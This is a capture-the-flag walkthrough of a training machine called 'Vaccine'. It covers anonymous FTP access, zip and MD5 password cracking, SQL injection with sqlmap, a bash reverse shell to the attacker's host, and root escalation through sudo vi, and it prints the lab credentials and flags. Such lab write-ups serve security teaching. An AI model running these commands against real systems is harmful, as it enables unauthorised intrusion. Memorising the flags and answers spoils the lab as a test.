# Vaccine

Penetration testing is not simple, it requires lots of technical knowledge and the capability to think outside of the box. Sometimes you will find simple yet dangerous vulnerabilities, other times you will find vulnerabilities where public exploits exist which you can use to get easy access to the system. The reality is, most of the time you will need to have many different vulnerabilities and misconfigurations where you will have to chain them all together in order to access the system of the target machine, or you will have a system that doesn't have vulnerabilities, but it has a weak password which might grant you access to the system. Vaccine is the machine that teaches us how enumeration is always the key, even if the system seems to be secure. Apart from that, it also teaches us how important is password cracking, it's surprising to know that not everyone has strong passwords.

{% file src="<https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FkF4jQtGpmpE75jhMKReZ%2FVaccine_Write_Up.pdf?alt=media&token=42694e48-5a9e-4c26-a29d-49340a49bf64>" %}

## **TARGET IP --> 10.129.254.11**

### **Task 1: Besides SSH and HTTP, what other service is hosted on this box?**

* I ran a quick nmap scan to see what was available.

```
nmap [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2ForHbqG4EGCKaB3QCfzgE%2Fimage.png?alt=media&#x26;token=4a5dabb1-f110-485b-a12e-e55a1dc0c530" alt=""><figcaption></figcaption></figure>

* FTP is also a service that is running on port 21.

### **Task 2: This service can be configured to allow login with any password for specific username. What is that username?**

* First start by connecting to the FTP client

```
ftp [Target IP]
```

* Name --> anonymous
* Password --> \[Hit Enter]

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F4ghvRTPkSDzLTOYDQq6L%2Fimage.png?alt=media&#x26;token=766dd0de-ceba-4f2f-9951-269db2885b82" alt=""><figcaption></figcaption></figure>

### **Task 3: What is the name of the file downloaded over this service?**

* Once logged into the FTP client using anonymous credentials, check to see what files/directories can be listed.

```
ls
```

* The only file that comes up is the **backup.zip** file.

### **Task 4: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?**

* I downloaded the file to my host computer.

```
get backup.zip
```

* I next tried to unzip the file.

```
unzip backup.zip
```

* I was prompted for a password which I do not have.
* I then used the module of John The Ripper called zip2john to create a hash for John to crack.

```
zip2john backup.zip > hashes
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FQ6iKklnGfR4m8ug0Ekl7%2Fimage.png?alt=media&#x26;token=b2cb98ba-677d-4e9a-953a-6d555a8ce886" alt=""><figcaption></figcaption></figure>

* I then ran the new hashes file through john using the rockyou wordlist

```
john --wordlist=[Path to wordlist] hashes
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FJOln5FlNoVMfZnRwDmYm%2Fimage.png?alt=media&#x26;token=bcc445b7-ee83-470f-a6b1-4a007309d7aa" alt=""><figcaption></figcaption></figure>

* Next, I used the show option to see the hashes cracked.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FZFoHEmenyaojW1PMmDzj%2Fimage.png?alt=media&#x26;token=5707885b-9001-4958-b93f-0a7364b6c079" alt=""><figcaption></figcaption></figure>

* This shows that the cracked hash is a password of --> **741852963**

### **Task 5: What is the password for the admin user on the website?**

* I then unzipped the backup.zip file, with the password from above, and listed the items in it.

```
unzip backup.zip
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FtDJ75Af0TGJuyfqHPYxs%2Fimage.png?alt=media&#x26;token=2f87f77f-9893-44f4-b85a-1a4c1c589150" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FZxhVy2m3oJ0KkWNBEBd9%2Fimage.png?alt=media&#x26;token=fc28a45e-d6dc-4d53-a7c2-a530134d85b2" alt=""><figcaption></figcaption></figure>

* Next, I used cat to view the index.php file. At the top of the file, I found what appears to be credentials for the admin account.
  * Username --> admin
  * Password --> MD5 Hashed: 2cb42f8734ea607eefed3b70af13bbd3

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fx9E3lqVhqhK6EqF6uf4v%2Fimage.png?alt=media&#x26;token=ff544f99-5bf7-48ed-8da6-c5e2a26d7760" alt=""><figcaption></figcaption></figure>

* I then ran that through an online table to see if it could find a password. Which it did.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FwrKNZ25IQ3n4FgQSVfq0%2Fimage.png?alt=media&#x26;token=f418369b-b7f7-4771-bbce-969b2907d36e" alt=""><figcaption></figcaption></figure>

* The credentials for the account are **admin:qwerty789**.

### **Task 6: What option can be passed to sqlmap to try to get command execution via the sql injection?**

* In the terminal, I inputted the following command to see more information and options for SQLmap.

```
sqlmap -h
```

* It looks like the option **--os-shell**

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F8ValLkGI5hfbJx2kAPqP%2Fimage.png?alt=media&#x26;token=87076047-a12d-49b7-b617-5088c0c60131" alt=""><figcaption></figcaption></figure>

### **Task 7: What program can the postgres user run as root using sudo?**

* Now that I have credentials for the admin account, I opened up a web browser to the Target URL which led me to sign in page. I signed in with the admin's credentials and got access to a catalogue system.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FNTqrlbj3iqiU0cycIZa7%2Fimage.png?alt=media\&token=9dc834fe-87a2-4d2d-9a6a-02aec4834b2f)

* In the URL box, it shows that I have a **search** parameter listed which is equivalent to the search bar in the window. This means it is most likely connected to a database.
* Using the Cookie Editor Firefox add-in, I first started by grabbing the value for the **PHPSESSID --> r6iralarghq0ngvvboepuofn7i**
* I then used the tool sqlmap to automate a sql injection attack with the following:

```
sqlmap -u 'http://[Target IP]/dashboard.php?search=any+query' --cookie="PHPSESSID=r6iralarghq0ngvvboepuofn7i"
```

* When prompted for testing for other payloads specific to for other DBMSes, I said no since it found it uses PostgreSQL.
* When prompted to use all tests for PostgreSQL, I said yes.
* After it determined that the GET parameter was vulnerable, I said no to testing any others as this should be the only available parameter at this URL.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FoJkqbCob8YX9j3ipts0b%2Fimage.png?alt=media&#x26;token=71a60f63-5e10-4955-ad5a-d1d7ed84a8c2" alt=""><figcaption></figcaption></figure>

* Since it states that the GET parameter is vulnerable to SQL Injection, I reran the tool using the option **--so-shell** from our previous task to gain a shell into the database.

```
sqlmap -u 'http://[Target IP]/dashboard.php?search=any+query' --cookie="PHPSESSID=r6iralarghq0ngvvboepuofn7i" --os-shell
```

* I now have a shell into the database. Next step is to set up a reverse shell back to my target computer that is more interactive.
* I started by setting up a netcat listener on my host machine.

```
nc -lvnp 4444
```

* In the target machine, I ran the following:

```
bash -c "bash -i >& /dev/tcp/[Host IP]/4444 0>&1"
```

* I then checked back with my netcat listener and found I have a reverse shell set up to the database.
* I next stabilized this shell with the following.
* I started by running this on the Target's machine through the reverse shell.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```
export TERM=xterm
```

* Next I sent the shell to the background using `CTRL + Z`
* In another terminal window on the my host machine, I ran the following to turn off echo and foreground the shell:

```
stty raw -echo; fg
```

* Now that I have a fully interactive shell, I want to see what privileges I have sudo access with.

```
sudo -l
```

* This, unfortunately, asked me for a password to the user I am signed in as, which I don't have. So I went digging around a bit.
* In the file --> **/var/www/html/dashboard.php**, I found credentials for the user:
  * **postgres:P\@s5w0rd!**
* I ran the command above again to check to see what I have sudo privileges for.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FB2YBNVH49P5VfBcqkWAS%2Fimage.png?alt=media&#x26;token=97fdbe37-8294-4f04-87bb-1d0e745d5aa8" alt=""><figcaption></figcaption></figure>

* It looks like the script I have sudo privileges for is **vi**

**Capture User Flag:**

* Now that I have access to the machine I went digging around for the user flag. I made the assumption that the flag was named user.txt.

```
find / -name user.txt 2> /dev/null
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FrnaX3hEFKeapSfHPM8GX%2Fimage.png?alt=media&#x26;token=d10a58d4-f14f-437d-859d-024ad12eb46b" alt=""><figcaption></figcaption></figure>

* I found the file in the directory --> **/var/lib/postgresql/**, and then used cat to see the contents.
* **ec9b13ca4d6229cd5cc1e09980965bf7**

**Capture Root Flag:**

* Next was to escalate my privileges. Since I know that I have sudo privileges with the script **vi**, I went looking in [GTFObins](https://gtfobins.github.io/gtfobins/vi/) for a possible means to escalate my privileges.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FowTg8WE0ynzqVUTyoN1Y%2Fimage.png?alt=media&#x26;token=b7fd6dfb-b272-4350-9a65-7a192f3ed42e" alt=""><figcaption></figcaption></figure>

* Looks like I can run the following to get sudo rights.
* The first one doesn't work so will try the second one.
* Before I do this, I'm going to stop using the reverse shell and hop over to SSH since I have the credentials for postgres.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FiHwtOIHEPKQ7ryFVDLkd%2Fimage.png?alt=media\&token=8e21f5b5-c640-41ac-ac4b-df6a8ff46541)

* Since I have access to that config file using vi as sudo, I will do that.

```
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

* This will allow me to run vi as sudo for this particular file. Once it is open, type the following and hit enter.

```
:set shell=/bin/sh
```

* Type in the following and hit enter again:

```
:shell
```

* After doing this, you should then have root privileges.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fu8pMKHo1ovbBH4sQJ81s%2Fimage.png?alt=media&#x26;token=d859e001-2701-4ee2-afe6-cecf7f6a4f02" alt=""><figcaption></figcaption></figure>

* The root flag can be found in the **/root/root.txt** file.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FsL0eAzAbJO84nZrvvFgN%2Fimage.png?alt=media&#x26;token=6bbc7ab3-f625-4651-ab8e-51e0a12a5030" alt=""><figcaption></figcaption></figure>

* **dd6e058e814260bc70e9bbdef2715849**
